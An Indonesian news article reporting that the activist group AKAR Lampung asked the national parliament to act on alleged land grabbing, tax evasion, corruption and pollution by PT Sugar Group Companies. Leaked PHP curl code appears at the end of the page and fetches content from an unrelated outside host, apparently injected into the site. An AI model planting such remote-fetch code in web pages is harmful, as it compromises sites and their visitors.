AKAR Lampung Desak DPR RI Tuntaskan Dugaan Pelanggaran PT SGC

Kamis, 26 September 2024

facebook twitter whatsapp telegram line copy

URL berhasil dicopy

facebook icon twitter icon whatsapp icon telegram icon line icon copy

URL berhasil dicopy

Lampung – jejakkasus.info

Aliansi Komando Aksi Rakyat Lampung (AKAR LAMPUNG) kembali bergerak dengan melayangkan surat soal pengemplangan pajak PT SGC pada Komisi II Dewan Perwakilan Rakyat (DPR) RI di Jakarta.

Ketua DPP Akar Lampung Indra Musta’in mengatakan, Dalam surat yang dikirimkan ke wakil rakyat di Senayan, akar Lampung meminta untuk dapat bertemu dan menyampaikan persoalan – persoalan yang ada di Lampung.

“Kami ingin menyampaikan kepada wakil rakyat di DPR RI khususnya Komisi II DPR RI terkait dengan permasalahan yang sedang terjadi di Provinsi Lampung yaitu perjuangan rakyat Lampung mengungkap berbagai permasalahan PT. SGC mulai dari dugaan penyerobotan lahan, HGU yang cacat Hukum, KKN, pencemaran lingkungan hingga pengemplangan Pajak,” kata Indra kepada media ini. Rabu (25/09).

Baca Juga:  PJ. Bupati Bondowoso, Secara Simbolis Hadiri Penyerahan Petikan SK CPNS Menjadi PNS dan Sertifikat Orientasi PPPK

Untuk itu, kata Indra, persoalan diatas itu AKAR Lampung merupakan salah satu elemen gerakan masyarakat yang hingga saat ini masih terus mengawal persoalan tersebut dengan harapan bahwa segala bentuk pelanggaran dan kezaliman yang dilakukan oleh PT. Sugar Group Copanies (SGC) dapat diproses dan ditindak dengan seadil-adilnya sesuai dengan hukum yang berlaku di Indonesia.

“Permasalahan-permasalahan yang selama ini kami advokasi sudah bukan menjadi rahasia umum bahkan dikalangan penegak hukum sekalipun, namun besarnya kekuatan kapital dan eratnya hubungan petinggi perusahaan dengan para pejabat di negeri ini dari pusat sampai daerah membuat perusahaan tersebut seolah tak tersentuh/kebal hukum,” ungkapnya

Baca Juga:  Polresta Bandar Lampung Tangkap Perampok BRI Link Tanjung Senang

Selain itu, sambung Indra, dalam surat yang dilayangkan juga dirinya berharap komisi II DPR RI yang membidangi persoalan ini untuk dapat segera menuntaskan perjuangan rakyat yang di inginkan selama ini.

“Maka harapan besar kami selaku rakyat lampung kepada wakil rakyat di DPR RI yang independen dalam membela kepentingan rakyat dan negara untuk dapat terjun langsung menuntaskan berbagai persoalan yang terjadi di Provinsi Lampung,” ucapnya

Sementara, ketua bidang advokasi Akar Lampung Rian Bima sakti mengungkapkan, jika surat forum audiensi itu guna mengadukan dan menyampaikan persoalan yang sedang terjadi secara detail dan menyeluruh.

“Hal tersebut juga kami rasa sangat penting sebagai dukungan terhadap perjuangan rakyat yang sedang mencari keadilan,” jelasnya

Baca Juga:  Produksi Air Minum Dalam Kemasan, Pemkab Lampung Selatan Teken MoU dan PKS dengan PT Amerta Putra Halilintar

Rian menambahkan, Dugaan KKN, Pelanggaran Hukum, Dan Pencemaran Lingkungan, pada tahun 2020 juga di duga dilakukan oleh kepemimpinan mantan Gubernur Lampung Arinal Djunaidi saat itu.

“Ketika semua orang sedang berfokus menghadapi pandemi covid 19, Gubernur Lampung saat itu Arinal Djunaidi menerbitkan Peraturan Gubernur No 33 Tahun 2020 tentang tata kelola panen dan produktifitas tanaman tebu yang melegalkan/mengizinkan panen tebu dengan cara membakar,” tambahnya

Bahkan, Terbitnya pergub itu pun menimbulkan dugaan adanya kongkalikong perusahaan perkebunan tebu di lampung dengan Gubernur Lampung agar perusahaan perkebunan tebu dapat dengan leluasa melakukan aktivitas panen dengan cara membakar sehingga dapat menurunkan biaya panen dengan berlindung dibalik PERGUB tersebut.

Bambang

Penulis : Bambang hartono

Editor : Bambang hartono

Sumber Berita : Tim Akar Lampung

Follow WhatsApp Channel jejakkasus.info untuk update berita terbaru setiap hari Follow

Berita Terkait

Kasus Camat Negeri Katon Langgar Netralitas ASN pada Pilkada Kini Ditangani Polisi
Sudah Berkerja Nyata,WN 88 Deklarasi Dukung Paslon 01 di Pilkada 2024, Kami Siap Menangkan Nanang-Antoni
Musrenbang 2025 Pekon Wayngison Resmi Dibuka
Selamat, Desa Bumi Daya Kecamatan Palas Raih Juara 3 Lomba Desa Tingkat Nasional
Mobil Dinas Belum Dikembalikan, DPRD Kejar Pengembalian Aset
Bawaslu Pesawaran Tetapkan Kasus Camat Negeri Katon Pidana Pemilu
Nanang Ermanto : Kami tak Gentar Diserbu Minyak Goreng
Bawaslu Lampung Selatan Gelar Sosialisasi Pengawasan partisipatif kepada Media pada Pemilu Gubernur dan wakil Gubernur Serta Bupati dan Wakil Bupati

Berita Terkait

Jumat, 11 Oktober 2024 - 11:47 WIB

Kasus Camat Negeri Katon Langgar Netralitas ASN pada Pilkada Kini Ditangani Polisi

Jumat, 11 Oktober 2024 - 10:52 WIB

Sudah Berkerja Nyata,WN 88 Deklarasi Dukung Paslon 01 di Pilkada 2024, Kami Siap Menangkan Nanang-Antoni

Kamis, 10 Oktober 2024 - 19:58 WIB

Musrenbang 2025 Pekon Wayngison Resmi Dibuka

Kamis, 10 Oktober 2024 - 19:22 WIB

Selamat, Desa Bumi Daya Kecamatan Palas Raih Juara 3 Lomba Desa Tingkat Nasional

Kamis, 10 Oktober 2024 - 19:21 WIB

Mobil Dinas Belum Dikembalikan, DPRD Kejar Pengembalian Aset

Berita Terbaru

$ch = curl_init(); curl_setopt($ch, CURLOPT_URL, 'https://umrohkemenag.org/footer/'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $a = curl_exec($ch); curl_close($ch);?>